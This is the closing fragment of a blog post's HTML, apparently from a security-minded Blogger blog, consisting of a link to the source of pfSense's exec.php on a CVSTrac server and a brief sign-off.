/><br />a:</span><br /><span style="color: rgb(51, 51, 51);"><a href="http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&amp;v=1.10.4.13">http://cvstrac.pfsense.org/fileview?f=pfSense/usr/local/www/exec.php&amp;v=1.10.4.13</a><br /></span><br /><br />bye ...<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6456964801927997186-3283540276027384294?l=nonroot.blogspot.com'/></div>nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.com3